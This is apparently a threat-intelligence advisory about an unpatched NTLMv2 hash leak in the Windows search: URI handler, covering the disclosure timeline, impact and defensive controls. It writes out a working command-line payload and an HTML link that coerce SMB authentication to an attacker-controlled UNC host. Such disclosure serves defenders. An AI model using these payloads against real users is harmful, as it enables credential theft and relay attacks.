# Unpatched Windows search: URI Handler NTLMv2 Hash Leak via crumb=location UNC Coercion (No CVE, Microsoft Won't Fix)

> Huntress disclosed an unpatched NTLM coercion primitive in the Windows search: URI handler. An unvalidated crumb=location: parameter pointing to an attacker-controlled UNC path forces NTLM authentication, leaking the victim's NTLMv2 hash from a single link click before any error dialog renders. It is technically identical to the patched CVE-2026-33829 (Snipping Tool ms-screensketch: handler) but was assigned no CVE and left unpatched by Microsoft as below the servicing bar.

- **Published:** 2026-06-03T00:00:00Z
- **Last reviewed:** 2026-06-03T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0673
- **ID:** TL-2026-0673
- **Severity:** HIGH (CVSS 3.5)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 14 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-33829

## Description

Huntress publicly disclosed (2026-06-02) an unpatched NTLM hash leakage primitive in the Windows Explorer search: URI handler. The handler accepts a crumb=location: parameter containing a UNC path that it dereferences without validation, causing the host to initiate SMB/NTLM authentication against an attacker-controlled server. The victim's NTLMv2 response (username::domain format) is captured by the attacker before Windows renders any error to the user, making the leak invisible in the normal UI flow.

The exploitation path is trivially weaponizable. From the command line: start "" "search:query=test&crumb=location:\\10.0.1.100\share" (the start "" prefix is required so cmd.exe does not treat & as a command separator). As an HTML hyperlink: <a href="search:query=test&crumb=location:\\10.0.1.100\share">click</a>. A single click delivers the hash within seconds; no malware, download prompt, macro, or multi-stage chain is required. A notable behavioral constraint is that subsequent invocations within the same logon session fail to re-trigger the coercion, indicating session-scoped handler state.

Under the hood the search: scheme delegates to COM class CLSID {90b9bce2-b6db-4fd3-8451-35917ea1081b} (CLSID_SearchMSExecute / SearchExecute) implemented in ExplorerFrame.dll — the same activation path used by the search-ms: scheme. Both search: and search-ms: are therefore vulnerable to the same crumb=location: coercion.

This bug is the functional twin of CVE-2026-33829, the Snipping Tool (ms-screensketch:) NTLM leak that Microsoft patched on 2026-04-14 using the filePath parameter. The search: variant shares an identical CVSS vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N, Moderate). Huntress reported it to MSRC on 2026-04-15; MSRC initially closed it as social engineering, reactivated it on 2026-04-21 after pushback, and on 2026-05-15 issued a final assessment of Moderate severity 'below the servicing bar,' declining to assign a CVE or ship a fix, stating only Important and Critical severity cases meet the servicing bar.

Impact: captured NTLMv2 hashes are usable for NTLM relay attacks (against internal services lacking SMB signing) or offline password cracking with tools such as Hashcat/John, enabling credential access and subsequent lateral movement. Because there is no vendor patch, defenders must rely on compensating controls: blocking outbound SMB (TCP 445/139) egress, enforcing SMB signing, disabling NTLM, and alerting on search: / search-ms: URIs in mail and proxy logs (neither scheme belongs in legitimate inbound traffic).

## MITRE ATT&CK

- T1566 Phishing
- T1566.002 Phishing: Spearphishing Link
- T1204.001 User Execution: Malicious Link
- T1187 Forced Authentication
- T1040 Network Sniffing
- T1557.001 Name Resolution Poisoning and SMB Relay
- T1110.002 Brute Force: Password Cracking
- T1212 Exploitation for Credential Access
- T1021.002 Remote Services: SMB/Windows Admin Shares
- T1550.002 Use Alternate Authentication Material: Pass the Hash
- T1078.002 Valid Accounts: Domain Accounts

## Sources

- [Unpatched NTLM Leakage in Windows search: URI Handler, Same Bug, No CVE, No Fix](https://www.huntress.com/blog/unpatched-ntlm-leak-windows-search-uri-handler)
- [Unpatched Windows Search URI Vulnerability Lets Attackers Steal NTLMv2 Hashes](https://thehackernews.com/2026/06/unpatched-windows-search-uri.html)
- [New Windows Search zero-day added to Microsoft protocol nightmare](https://www.bleepingcomputer.com/news/security/new-windows-search-zero-day-added-to-microsoft-protocol-nightmare/)
- [CVE-2026-33829: Snipping Tool NTLM Hash Leak](https://socprime.com/active-threats/cve-2026-33829-snipping-tool-ntlm-leak/)
- [Outlook Vulnerability Discovery and New Ways to Leak NTLM Hashes](https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes)
- [MITRE ATT&CK T1187: Forced Authentication](https://attack.mitre.org/techniques/T1187/)
- [NTLM Privilege Escalation: Unpatched Microsoft Vulnerabilities](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0673